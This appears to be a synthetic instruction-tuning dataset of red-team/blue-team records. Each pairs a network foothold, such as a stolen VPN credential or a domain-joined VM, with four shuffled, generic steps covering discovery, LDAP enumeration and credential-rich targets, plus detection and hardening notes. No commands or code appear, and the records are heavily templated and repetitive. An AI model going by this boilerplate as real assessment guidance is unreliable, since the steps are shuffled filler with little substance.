{"instruction": "Stolen VPN credential allowing remote access: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Stolen VPN credential allowing remote access", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.\n\nStep 3: Map the local network perspective and identify what domain resources are reachable.\n\nStep 4: Assess potential for lateral movement from this host and prioritize targets accordingly.\n\nDefender detection notes:\n\n  - Unusual inbound/external sessions, new device profiles in VPN logs.\n\n  - EDR alerts on document macro execution or unknown process creation.\n\nMitigations & hardening:\n\n  - Enforce phishing-resistant MFA and stricter session controls.\n\n  - Harden endpoints and restrict execution of macros from untrusted sources.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network foothold with standard user rights: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Network foothold with standard user rights", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to a multi-share file server: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Access to a multi-share file server", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to a multi-share file server: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Access to a multi-share file server", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network foothold with standard user rights: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Network foothold with standard user rights", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network foothold with standard user rights: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Network foothold with standard user rights", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to a multi-share file server: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Access to a multi-share file server", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network foothold with standard user rights: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Network foothold with standard user rights", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to a multi-share file server: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Access to a multi-share file server", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to a multi-share file server: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Access to a multi-share file server", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to a multi-share file server: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Access to a multi-share file server", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network foothold with standard user rights: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Network foothold with standard user rights", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network foothold with standard user rights: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Network foothold with standard user rights", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 3: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 3: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network foothold with standard user rights: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Network foothold with standard user rights", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network foothold with standard user rights: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Network foothold with standard user rights", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
